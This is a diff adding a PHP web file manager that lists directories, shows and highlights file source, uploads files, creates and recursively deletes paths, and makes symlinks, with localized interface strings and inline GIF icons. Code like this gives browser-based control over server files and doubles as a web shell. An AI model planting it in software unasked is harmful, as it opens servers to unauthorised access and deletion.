+<?php + html_footer(); + exit; + } else { + $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot; ', $words['notopened']); + } + } +} + +/* Show directory listing (and treeview) */ +if (!empty($_SESSION['tree'])) { + if (isset($_REQUEST['frame']) && $_REQUEST['frame'] == 'treeview') { + treeview(); + } else { + if (isset($_GET['noupdate'])) $updatetreeview = FALSE; + dirlisting(TRUE); + } +} else { + dirlisting(); +} + +/* ------------------------------------------------------------------------- */ + +function strip (&$str) { + $str = stripslashes($str); +} + +function relpathtoabspath ($file, $dir) { + $dir = spath($dir); + if (substr($file, 0, 1) != '/') $file = $dir . $file; + if (!@is_link($file) && ($r = realpath($file)) != FALSE) $file = $r; + if (@is_dir($file) && !@is_link($file)) $file = spath($file); + return $file; +} + +function abspathtorelpath ($pos, $target) { + $pos = spath($pos); + $path = ''; + while ($pos != $target) { + if ($pos == substr($target, 0, strlen($pos))) { + $path .= substr($target, strlen($pos)); + break; + } else { + $path .= '../'; + $pos = strrev(strstr(strrev(substr($pos, 0, strlen($pos) - 1)), '/')); + } + } + return $path; +} + +function is_script ($file) { + return ereg('.php[3-4]?$', $file); +} + +function spath ($path) { + if (substr($path, strlen($path) - 1, 1) != '/') $path .= '/'; + return $path; +} + +function textfieldsize ($str) { + $size = strlen($str) + 5; + if ($size < 30) $size = 30; + return $size; +} + +function is_free ($file) { + global $words; + if (@file_exists($file) && empty($_GET['overwrite'])) { + html_header($words['alreadyexists']); +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['overwrite'])); ?></td> + </tr> + <tr> + <td colspan="2" align="center" bgcolor="#EEEEEE"> + <a href="<?php echo("{$_SERVER['REQUEST_URI']}&overwrite=yes"); ?>">[ <?php echo($words['yes']); ?> ]</a> + </td> + </tr> + </table> + </td></tr></table> + </p> +<?php + html_footer(); + exit; + } + if (!empty($_GET['overwrite'])) { + return remove($file); + } + return TRUE; +} + +function remove ($file) { + global $updatetreeview; + if (@is_dir($file) && !@is_link($file)) { + $error = FALSE; + if ($p = @opendir($file = spath($file))) { + while (($f = readdir($p)) !== FALSE) + if ($f != '.' && $f != '..' && !remove($file . $f)) + $error = TRUE; + } + if ($error) $x = FALSE; else $x = @rmdir($file); + $updatetreeview = TRUE; + if ($x && !empty($_SESSION['tree'])) { + $file = spath(dirname($file)); + $_SESSION['hassubdirs'][$file] = tree_hassubdirs($file); + tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file, TRUE); + } + } else { + $x = @unlink($file); + } + return $x; +} + +function getwords ($language) { + switch ($language) { + case 'de': + $words['dir'] = 'Verzeichnis'; $words['file'] = 'Datei'; + $words['filename'] = 'Dateiname'; $words['size'] = 'Gr&ouml;&szlig;e'; $words['permission'] = 'Rechte'; $words['functions'] = 'Funktionen'; + $words['owner'] = 'Eigner'; $words['group'] = 'Gruppe'; $words['other'] = 'Andere'; + $words['create'] = 'erstellen'; $words['copy'] = 'kopieren'; $words['copyto'] = 'kopieren nach'; $words['move'] = 'verschieben'; $words['moveto'] = 'verschieben nach'; $words['delete'] = 'l&ouml;schen'; $words['edit'] = 'editieren'; + $words['read'] = 'lesen'; $words['write'] = 'schreiben'; $words['exec'] = 'ausf&uuml;hren'; $words['change'] = 'wechseln'; $words['upload'] = 'hochladen'; $words['configure'] = 'konfigurieren'; + $words['yes'] = 'ja'; $words['no'] = 'nein'; + $words['back'] = 'zur&uuml;ck'; $words['setperms'] = 'Rechte setzen'; + $words['readingerror'] = 'Fehler beim Lesen von 1'; + $words['permsset'] = 'Die Rechte von 1 wurden auf 2 gesetzt.'; $words['permsnotset'] = 'Die Rechte von 1 konnten nicht gesetzt werden.'; + $words['uploaded'] = '1 wurde nach 2 hochgeladen.'; $words['notuploaded'] = '1 konnte nicht nach 2 hochgeladen werden.'; + $words['moved'] = '1 wurde nach 2 verschoben.'; $words['notmoved'] = '1 konnte nicht nach 2 verschoben werden.'; + $words['copied'] = '1 wurde nach 2 kopiert.'; $words['notcopied'] = '1 konnte nicht nach 2 kopiert werden.'; + $words['created'] = '1 wurde erstellt.'; $words['notcreated'] = '1 konnte nicht erstellt werden.'; + $words['deleted'] = '1 wurde gel&ouml;scht.'; $words['notdeleted'] = '1 konnte nicht gel&ouml;scht werden.'; $words['suredelete'] = '1 wirklich l&ouml;schen?'; + $words['saved'] = '1 wurde gespeichert.'; $words['notsaved'] = '1 konnte nicht gespeichert werden.'; + $words['reset'] = 'zur&uuml;cksetzen'; $words['clear'] = 'verwerfen'; $words['save'] = 'speichern'; + $words['cantbeshown'] = '1 kann nicht angezeigt werden.'; $words['sourceof'] = 'Quelltext von 1'; + $words['notopened'] = '1 konnte nicht ge&ouml;ffnet werden.'; + $words['addauth'] = 'Standard-Authentifizierungseinstellungen hinzuf&uuml;gen'; + $words['username'] = 'Benutzername'; $words['password'] = 'Kennwort'; $words['add'] = 'hinzuf&uuml;gen'; + $words['treeon'] = 'Baumansicht aktivieren'; $words['treeoff'] = 'Baumansicht deaktivieren'; + $words['symlink'] = 'Symbolischer Link'; $words['createsymlink'] = 'Link erstellen'; $words['target'] = 'Ziel'; + $words['reltarget'] = 'Relative Pfadangabe des Ziels'; + $words['alreadyexists'] = 'Die Datei existiert bereits.'; + $words['overwrite'] = 'Soll 1 &uuml;berschrieben werden?'; + $words['samefiles'] = '1 und 2 sind identisch.'; + break; + case 'cz': + $words['dir'] = 'Adres&#xE1;&#x0159;'; $words['file'] = 'Soubor'; + $words['filename'] = 'Jm&#xE9;no souboru'; $words['size'] = 'Velikost'; $words['permission'] = 'Pr&#xE1;va'; $words['functions'] = 'Functions'; + $words['owner'] = 'Vlastn&#xED;k'; $words['group'] = 'Skupina'; $words['other'] = 'Ostatn&#xED;'; + $words['create'] = 'vytvo&#x0159;it'; $words['copy'] = 'kop&#xED;rovat'; $words['copyto'] = 'kop&#xED;rovat do'; $words['move'] = 'p&#x0159;esunout'; $words['moveto'] = 'p&#x0159;esunout do'; $words['delete'] = 'odstranit'; $words['edit'] = '&#xFA;pravy'; + $words['read'] = '&#x010D;ten&#xED;'; $words['write'] = 'z&#xE1;pis'; $words['exec'] = 'spu&#x0161;t&#x011B;n&#xED;'; $words['change'] = 'zm&#x011B;nit'; $words['upload'] = 'nahr&#xE1;t'; $words['configure'] = 'nastaven&#xED;'; + $words['yes'] = 'ano'; $words['no'] = 'ne'; + $words['back'] = 'zp&#xE1;tky'; $words['setperms'] = 'nastav pr&#xE1;va'; + $words['readingerror'] = 'Chyba p&#x0159;i &#x010D;ten&#xED; 1'; + $words['permsset'] = 'P&#x0159;&#xED;stupov&#xE1; pr&#xE1;va k 1 byla nastavena na 2.'; $words['permsnotset'] = 'P&#x0159;&#xED;stupov&#xE1; pr&#xE1;va k 1 nelze nastavit na 2.'; + $words['uploaded'] = 'Soubor 1 byl ulo&#x017E;en do adres&#xE1;&#x0159;e 2.'; $words['notuploaded'] = 'Chyba p&#x0159;i ukl&#xE1;d&#xE1;n&#xED; souboru 1 do adres&#xE1;&#x0159;e 2.'; + $words['moved'] = 'Soubor 1 byl p&#x0159;esunut do adres&#xE1;&#x0159;e 2.'; $words['notmoved'] = 'Soubor 1 nelze p&#x0159;esunout do adres&#xE1;&#x0159;e 2.'; + $words['copied'] = 'Soubor 1 byl zkop&#xED;rov&#xE1;n do adres&#xE1;&#x0159;e 2.'; $words['notcopied'] = 'Soubor 1 nelze zkop&#xED;rovat do adres&#xE1;&#x0159;e 2.'; + $words['created'] = '1 byl vytvo&#x0159;en.'; $words['notcreated'] = '1 nelze vytvo&#x0159;it.'; + $words['deleted'] = '1 byl vymaz&#xE1;n.'; $words['notdeleted'] = '1 nelze vymazat.'; $words['suredelete'] = 'Skute&#x010D;n&#x011B; smazat 1?'; + $words['saved'] = 'Soubor 1 byl ulo&#x017E;en.'; $words['notsaved'] = 'Soubor 1 nelze ulo&#x017E;it.'; + $words['reset'] = 'zp&#x011B;t'; $words['clear'] = 'vy&#x010D;istit'; $words['save'] = 'ulo&#x017E;'; + $words['cantbeshown'] = "1 can't be shown."; $words['sourceof'] = 'source of 1'; + $words['notopened'] = "1 nelze otev&#x0159;&#xED;t"; + $words['addauth'] = 'p&#x0159;idat z&#xE1;kladn&#xED;-authentifikaci'; + $words['username'] = 'U&#x017E;ivatelsk&#xE9; jm&#xE9;no'; $words['password'] = 'Heslo'; $words['add'] = 'p&#x0159;idat'; + $words['treeon'] = 'Zobraz strom adres&#xE1;&#x0159;&#x016F;'; $words['treeoff'] = 'Skryj strom adres&#xE1;&#x0159;&#x016F;'; + $words['symlink'] = 'Symbolick&#xFD; odkaz'; $words['createsymlink'] = 'vytvo&#x0159;it odkaz'; $words['target'] = 'C&#xED;l'; + $words['reltarget'] = 'Relativni cesta k c&#xED;li'; + $words['alreadyexists'] = 'Tento soubor u&#x017E; existuje.'; + $words['overwrite'] = 'P&#x0159;epsat 1?'; + $words['samefiles'] = '1 a 2 jsou identick&#xE9;l.'; + break; + case 'it': + $words['dir'] = 'Directory'; $words['file'] = 'File'; + $words['filename'] = 'Nome file'; $words['size'] = 'Dimensioni'; $words['permission'] = 'Permessi'; $words['functions'] = 'Funzioni'; + $words['owner'] = 'Proprietario'; $words['group'] = 'Gruppo'; $words['other'] = 'Altro'; + $words['create'] = 'crea'; $words['copy'] = 'copia'; $words['copyto'] = 'copia su'; $words['move'] = 'muovi'; $words['moveto'] = 'muove su'; $words['delete'] = 'delete'; $words['edit'] = 'edit'; + $words['read'] = 'leggi'; $words['write'] = 'scrivi'; $words['exec'] = 'esegui'; $words['change'] = 'modifica'; $words['upload'] = 'upload'; $words['configure'] = 'configura'; + $words['yes'] = 'si'; $words['no'] = 'no'; + $words['back'] = 'back'; $words['setperms'] = 'imposta permessi'; + $words['readingerror'] = 'Errore durante la lettura di 1'; + $words['permsset'] = 'I permessi di 1 sono stati impostati a 2.'; $words['permsnotset'] = 'I permessi di 1 non possono essere impostati.'; + $words['uploaded'] = '1 � stato uploadato su 2.'; $words['notuploaded'] = 'Errore durante l\'upload di 1 su 2.'; + $words['moved'] = '1 � stato spostato su 2.'; $words['notmoved'] = '1 non pu� essere spostato su 2.'; + $words['copied'] = '1 � stato copiato su 2.'; $words['notcopied'] = '1 non pu� essere copiato su 2.'; + $words['created'] = '1 � stato creato.'; $words['notcreated'] = 'impossibile creare 1.'; + $words['deleted'] = '1 � stato eliminato.'; $words['notdeleted'] = 'Impossibile eliminare 1.'; $words['suredelete'] = 'Confermi eliminazione di 1?'; + $words['saved'] = '1 � stato salvato.'; $words['notsaved'] = 'Impossibile salvare 1.'; + $words['reset'] = 'reimposta'; $words['clear'] = 'pulisci'; $words['save'] = 'salva'; + $words['cantbeshown'] = "Impossibile visualizzare 1."; $words['sourceof'] = 'sorgente di 1'; + $words['notopened'] = "Impossibile aprire 1"; + $words['addauth'] = 'aggiunge autenticazione di base'; + $words['username'] = 'Nome Utente'; $words['password'] = 'Password'; $words['add'] = 'add'; + $words['treeon'] = 'Abilita vista ad albero'; $words['treeoff'] = 'Disabilita vista ad albero'; + $words['symlink'] = 'Link simbolico'; $words['createsymlink'] = 'crea symlink'; $words['target'] = 'Target'; + $words['reltarget'] = 'Percorso relativo al target'; + $words['alreadyexists'] = 'Questo file esiste gi�.'; + $words['overwrite'] = 'Sovrascrivi 1?'; + $words['samefiles'] = '1 e 2 sono identici.'; + break; + case 'en': + default: + $words['dir'] = 'Directory'; $words['file'] = 'File'; + $words['filename'] = 'Filename'; $words['size'] = 'Size'; $words['permission'] = 'Permission'; $words['functions'] = 'Functions'; + $words['owner'] = 'Owner'; $words['group'] = 'Group'; $words['other'] = 'Other'; + $words['create'] = 'create'; $words['copy'] = 'copy'; $words['copyto'] = 'copy to'; $words['move'] = 'move'; $words['moveto'] = 'move to'; $words['delete'] = 'delete'; $words['edit'] = 'edit'; + $words['read'] = 'read'; $words['write'] = 'write'; $words['exec'] = 'execute'; $words['change'] = 'change'; $words['upload'] = 'upload'; $words['configure'] = 'configure'; + $words['yes'] = 'yes'; $words['no'] = 'no'; + $words['back'] = 'back'; $words['setperms'] = 'set permission'; + $words['readingerror'] = 'Error during read of 1'; + $words['permsset'] = 'The permission of 1 were set to 2.'; $words['permsnotset'] = 'The permission of 1 could not be set.'; + $words['uploaded'] = '1 has been uploaded to 2.'; $words['notuploaded'] = 'Error during upload of 1 to 2.'; + $words['moved'] = '1 has been moved to 2.'; $words['notmoved'] = '1 could not be moved to 2.'; + $words['copied'] = '1 has been copied to 2.'; $words['notcopied'] = '1 could not be copied to 2.'; + $words['created'] = '1 has been created.'; $words['notcreated'] = '1 could not be created.'; + $words['deleted'] = '1 has been deleted.'; $words['notdeleted'] = '1 could not be deleted.'; $words['suredelete'] = 'Really delete 1?'; + $words['saved'] = '1 has been saved.'; $words['notsaved'] = '1 could not be saved.'; + $words['reset'] = 'reset'; $words['clear'] = 'clear'; $words['save'] = 'save'; + $words['cantbeshown'] = "1 can't be shown."; $words['sourceof'] = 'source of 1'; + $words['notopened'] = "1 couldn't be opened"; + $words['addauth'] = 'add basic-authentification'; + $words['username'] = 'Username'; $words['password'] = 'Password'; $words['add'] = 'add'; + $words['treeon'] = 'Enable treeview'; $words['treeoff'] = 'Disable treeview'; + $words['symlink'] = 'Symbolic link'; $words['createsymlink'] = 'create link'; $words['target'] = 'Target'; + $words['reltarget'] = 'Relative path to target'; + $words['alreadyexists'] = 'This file already exists.'; + $words['overwrite'] = 'Overwrite 1?'; + $words['samefiles'] = '1 and 2 are identical.'; + } + return $words; +} + +function getimage ($iid) { + $image = 'GIF89a'; + switch ($iid) { + case 1: $image .= "\23\0\22\0\242\4\0\0\0\0\377\377\377\314\314\314\231\231\231\377\377\377\0\0\0\0\0\0\0\0\0!\371\4\1\350\3\4\0,\0\0\0\0\23\0\22\0\0\3?H\272\334N \312\327@\270\30P%\273\237\213\205\215\244\240q\201\240\256\254:\234P\332\316o(\317l\215\342\255\36\363\71\230\5\270\362\15\211\2cr\300l:\231\60\310g\272\251Z\257\330l5\1\0;\0"; break; + case 2: $image .= "\23\0\22\0\221\2\0\0\0\0\314\314\314\377\377\377\0\0\0!\371\4\1\350\3\2\0,\0\0\0\0\23\0\22\0\0\2\64\224\217\251\2\355\233@\230\24@#\251v\357d\15V^H\6\26fr\352\312\230ehI\337;\305\63}6\364\206\356\365\350\63!V\304\323\345\210L*\227\220\2\0;\0"; break; + case 3: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\32\214o\200\313\355\255\236\234,\322+-\336K\363\357}[(^d9\235hP\0\0;\0"; break; + case 4: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2.\234\217\251\313\355\17\15\230\224:\20\262\16\340j\241u\15\226\201\231\310\140\302\272rC\207\36d\140\272\343\27z\333yUU\4\14\12\207DF\1\0;\0"; break; + case 5: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2*\234\217\251\313\355\17\15\230\224:\20\262\16\340n\335\65\330\307y\302y\226]\210\214\37\273\270\33\254\310\340UU\321\316\367\376\317(\0\0;\0"; break; + case 6: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\33\214o\200\313\355\255\236\234,\322+-\336K\371\360q\224\46rd\211\235\350\270\76\5\0;\0"; break; + case 7: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2\60\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\234\320\201PGr\46\263\11\256\373\15\312*\243\245f\253\270\247?\330O\11\206\204\304a\221R\0\0;\0"; break; + case 8: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2/\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\36\7B#\251\5\302\272~\203R\46\247\373\210c\274\330\36\216\140\76\5\14\5\207B\42\245\0\0;\0"; break; + case 9: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\30\214o\200\313\355\255\236\234,\322+-\336K\371\360q\342H\226\346\211r\5\0;\0"; break; + case 10: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2/\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\234\320\201PGr\46\263\11\256\373\15\312*\243\245f\253\270\247?\330O\11\12\207\304\242\260\0\0;\0"; break; + case 11: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2.\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\36\7B#\251\5\302\272~\203R\46\247\373\210c\274\330\36\216\140\76\5\14\12\207\304\140\1\0;\0"; break; + case 12: $image .= "\21\0\15\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2-\234\201\211\306\15\1\343j\354\211+\302\3\364D\231t\26\206i\342\207r\324Hf\252\203~o\25\264\227\271\306\322i\273\247\216s(\206\257\2\0;\0"; break; + case 13: $image .= "\21\0\15\0\221\3\0\314\0\0\377\377\377\231\231\231\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2-\234\201\211\306\15\1\343j\354\211+\302\3\364D\231t\26\206i\342\207r\324Hf\252\203~o\25\264\227\271\306\322i\273\247\216s(\206\257\2\0;\0"; break; + case 14: $image .= "\21\0\15\0\242\4\0\231\231\231\377\377\377\0\0\0\314\0\0\377\377\377\0\0\0\0\0\0\0\0\0!\371\4\1\350\3\4\0,\0\0\0\0\21\0\15\0\0\3\71H\12\334\254\60\202@\353\213p\212-\302\4\330RYM8\15\3\305y\46\205\216,\204\316s\260\305\12M\217 6\5/[\247\47\1\246\140\304\314\210\63l\301,\46\207\224\230\0\0;\0"; break; + case 15: $image .= "\21\0\15\0\221\3\0\231\231\231\377\377\377\314\314\314\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2*\234\217\231\300\254\33b\4\317\264\213\235\225\274\13:\0\201@\226\46\11\212\347\372m\354\231\216o\31\317\264k\267a\216\36\331o(\0\0;\0"; break; + case 16: $image .= "\21\0\15\0\221\2\0\0\0\0\377\377\0\377\377\377\0\0\0!\371\4\1\350\3\2\0,\0\0\0\0\21\0\15\0\0\2,\224\217\251\2\355\260\14\10\263\322\65\203\336\32\246\7\66_\325P\245x\224\34\207J\344vzi\7wJf\342\62\202\263\21\23\372\11\17\5\0;\0"; break; + case 0: + default: $image .= "\23\0\22\0\200\1\0\0\0\0\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\20\214\217\251\313\355\17\243\234\264\332\213\263\336\274\327\2\0;\0"; break; + } + return $image; +} + +function tree_hassubdirs ($path) { + if ($p = @opendir($path)) { + while (($filename = readdir($p)) !== FALSE) { + if (tree_isrealdir($path . $filename)) return TRUE; + } + } + return FALSE; +} + +function tree_isrealdir ($path) { + if (basename($path) != '.' && basename($path) != '..' && @is_dir($path) && !@is_link($path)) return TRUE; else return FALSE; +} + +function treeview () { + global $self, $treeroot; + if (isset($_GET['plus'])) tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['plus']); + if (isset($_GET['minus'])) $dirchanged = tree_minus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['minus']); else $dirchanged = FALSE; + for ($d = $_SESSION['dir']; strlen($d = dirname($d)) != 1; tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $d)); +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN"> +<html> +<head> + <title>Treeview</title> + <style type="text/css"> + <!-- + td { font-family: sans-serif; font-size: 10pt; } + a:link, a:visited, a:active { text-decoration: none; color: #000088; } + a:hover { text-decoration: underline; color: #000088; } + --> + </style> +</head> +<body bgcolor="#FFFFFF"<?php if ($dirchanged) echo(" '$self?noupdate=TRUE&dir=" . urlencode($_SESSION['dir']) . '&' . SID . '&pmru=' . time() . "'))\""); ?>> + <table border="0" cellspacing="0" cellpadding="0"> +<?php + tree_showtree($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot, 0, tree_calculatenumcols($_SESSION['tree'], $treeroot, 0)); +?> + </table> +</body> +</html> +<?php + return; +} + +function frameset () { + global $self; +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Frameset//EN"> +<html> +<head> + <title><?php echo($self); ?></title> +</head> +<frameset cols="250,*"> + <frame src="<?php echo("$self?frame=treeview&" . SID . '#' . urlencode($_SESSION['dir'])); ?>" name="treeview"> + <frame src="<?php echo("$self?" . SID); ?>" name="webadmin"> +</frameset> +</html> +<?php + return; +} + +function tree_calculatenumcols ($tree, $path, $col) { + static $numcols = 0; + if ($col > $numcols) $numcols = $col; + if (isset($tree[$path])) { + for ($i = 0; $i < sizeof($tree[$path]); $i++) { + $numcols = tree_calculatenumcols($tree, $path . $tree[$path][$i], $col + 1); + } + } + return $numcols; +} + +function tree_showtree ($tree, $hassubdirs, $path, $col, $numcols) { + global $self, $treeroot; + static $islast = array(0 => TRUE); + echo(" <tr>\n"); + for ($i = 0; $i < $col; $i++) { + if ($islast[$i]) $iid = 0; else $iid = 3; + echo(" <td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n"); + } + if ($hassubdirs[$path]) { + if (!empty($tree[$path])) { $action = 'minus'; $iid = 8; } else { $action = 'plus'; $iid = 7; } + if ($col == 0) $iid -= 3; else if ($islast[$col]) $iid += 3; + echo(" <td><a href=\"$self?frame=treeview&$action=" . urlencode($path) . '&dir=' . urlencode($_SESSION['dir']) . '&' . SID . '#' . urlencode($path) . '">'); + echo("<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">"); + echo("</a></td>\n"); + } else { + if ($islast[$col]) $iid = 9; else $iid = 6; + echo(" <td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n"); + } + if (@is_readable($path)) { + $a1 = "<a name=\"" . urlencode($path) . "\" href=\"$self?dir=" . urlencode($path) . '&' . SID . '" target="webadmin">'; + $a2 = '</a>'; + } else { + $a1 = $a2 = ''; + } + if ($_SESSION['dir'] == $path) $iid = 2; else $iid = 1; + echo(" <td>$a1<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">$a2</td>\n"); + $cspan = $numcols - $col + 1; + if ($cspan > 1) $colspan = " colspan=\"$cspan\""; else $colspan = ''; + if ($col == $numcols) $width = ' width="100%"'; else $width = ''; + echo(" <td$width$colspan nowrap>&nbsp;"); + if ($path == $treeroot) $label = $path; else $label = basename($path); + echo($a1 . htmlentities($label) . $a2); + echo("</td>\n"); + echo(" </tr>\n"); + if (!empty($tree[$path])) { + for ($i = 0; $i < sizeof($tree[$path]); $i++) { + if (($i + 1) == sizeof($tree[$path])) $islast[$col + 1] = TRUE; else $islast[$col + 1] = FALSE; + tree_showtree($tree, $hassubdirs, $path . $tree[$path][$i], $col + 1, $numcols); + } + } + return; +} + +function tree_plus (&$tree, &$hassubdirs, $p) { + if ($path = spath(realpath($p))) { + $tree[$path] = tree_getsubdirs($path); + for ($i = 0; $i < sizeof($tree[$path]); $i++) { + $subdir = $path . $tree[$path][$i]; + if (empty($hassubdirs[$subdir])) $hassubdirs[$subdir] = tree_hassubdirs($subdir); + } + } + return; +} + +function tree_minus (&$tree, &$hassubdirs, $p) { + $dirchanged = FALSE; + if ($path = spath(realpath($p))) { + if (!empty($tree[$path])) { + for ($i = 0; $i < sizeof($tree[$path]); $i++) { + $subdir = $path . $tree[$path][$i] . '/'; + if (isset($hassubdirs[$subdir])) $hassubdirs[$subdir] = NULL; + } + $tree[$path] = NULL; + if (substr($_SESSION['dir'], 0, strlen($path)) == $path) { + $_SESSION['dir'] = $path; + $dirchanged = TRUE; + } + } + } + return $dirchanged; +} + +function tree_getsubdirs ($path) { + $subdirs = array(); + if ($p = @opendir($path)) { + for ($i = 0; ($filename = readdir($p)) !== FALSE;) { + if (tree_isrealdir($path . $filename)) $subdirs[$i++] = $filename . '/'; + } + } + sort($subdirs); + return $subdirs; +} + +function show ($file) { + global $words; + if (@is_readable($file) && @is_file($file)) { + header('Content-Disposition: filename=' . basename($file)); + header('Content-Type: ' . getmimetype($file)); + if (@readfile($file) !== FALSE) return TRUE; + } + return FALSE; +} + +function show_highlight ($file) { + global $words; + if (@is_readable($file) && @is_file($file)) { + header('Content-Disposition: filename=' . basename($file)); + echo("<html>\n<head><title>"); + echo(buildphrase(array('&quot;' . htmlentities(basename($file)) . '&quot;'), $words['sourceof'])); + echo("</title></head>\n<body>\n<table cellpadding=\"4\" border=\"0\">\n<tr>\n<td>\n<code style=\"color: #999999\">\n"); + $size = sizeof(file($file)); + for ($i = 1; $i <= $size; $i++) printf("%05d<br>\n", $i); + echo("</code>\n</td>\n<td nowrap>\n"); + $shown = @highlight_file($file); + echo("\n"); + echo("</td>\n</tr>\n</table>\n"); + echo("</body>\n"); + echo("</html>"); + if ($shown) return TRUE; + } + return FALSE; +} + +function getmimetype ($file) { + /* $mime = 'application/octet-stream'; */ + $mime = 'text/plain'; + $ext = substr($file, strrpos($file, '.') + 1); + if (@is_readable('/etc/mime.types')) { + $f = fopen('/etc/mime.types', 'r'); + while (!feof($f)) { + $line = fgets($f, 4096); + $found = FALSE; + $mim = strtok($line," \n\t"); + $ex = strtok(" \n\t"); + while ($ex && !$found) { + if (strtolower($ex) == strtolower($ext)) { + $found = TRUE; + $mime = $mim; + break; + } + $ex = strtok(" \n\t"); + } + if ($found) break; + } + fclose($f); + } + return $mime; +} + +function dirlisting ($inaframe = FALSE) { + global $self, $homedir, $words; + global $error, $notice; + $p = '&' . SID; + html_header($_SESSION['dir']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td bgcolor="#EEEEEE" colspan="2"> + <table border="0" cellspacing="0" cellpadding="0"> + <tr> + <td><?php echo("<a href=\"$self?dir=" . urlencode($homedir) . "$p\">" . $words['dir']); ?></a>:&nbsp;</td> + <td><input type="text" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>" size="<?php echo(textfieldsize($_SESSION['dir'])); ?>">&nbsp;</td> + <td><input type="submit" value="<?php echo($words['change']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php if (@is_writable($_SESSION['dir'])) { ?> + <form action="<?php echo($self); ?>" method="post" enctype="multipart/form-data"> + <input type="hidden" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> +<?php if (isset($_REQUEST['frame'])) { ?> + <input type="hidden" name="frame" value="<?php echo($_REQUEST['frame']); ?>"> +<?php } ?> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE"> + <table border="0" cellspacing="0" cellpadding="0"> + <tr> + <td><?php echo($words['file']); ?>&nbsp;</td> + <td><input type="file" name="upload">&nbsp;</td> + <td><input type="submit" value="<?php echo($words['upload']); ?>"></td> + </tr> + </table> + </td> + </tr> + <tr> + <td bgcolor="#EEEEEE"> + </form> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> +<?php if (isset($_REQUEST['frame'])) { ?> + <input type="hidden" name="frame" value="<?php echo($_REQUEST['frame']); ?>"> +<?php } ?> + <table border="0" cellspacing="0" cellpadding="0"> + <tr> + <td> + <select name="type" size="1"> + <option value="file"><?php echo($words['file']); ?> + + <option value="dir" selected><?php echo($words['dir']); ?> + + </select>&nbsp; + </td> + <td><input type="text" name="create">&nbsp;</td> + <td><input type="submit" value="<?php echo($words['create']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php + } + if (empty($_GET['sort'])) $sort = 'filename'; else $sort = $_GET['sort']; + $reverse = @$_GET['reverse']; + $GLOBALS['showsize'] = FALSE; + if ($files = dirtoarray($_SESSION['dir'])) { + $files = sortfiles($files, $sort, $reverse); + outputdirlisting($_SESSION['dir'], $files, $inaframe, $sort, $reverse); + } else { + perror(buildphrase('&quot;<b>' . htmlentities($_SESSION['dir']) . 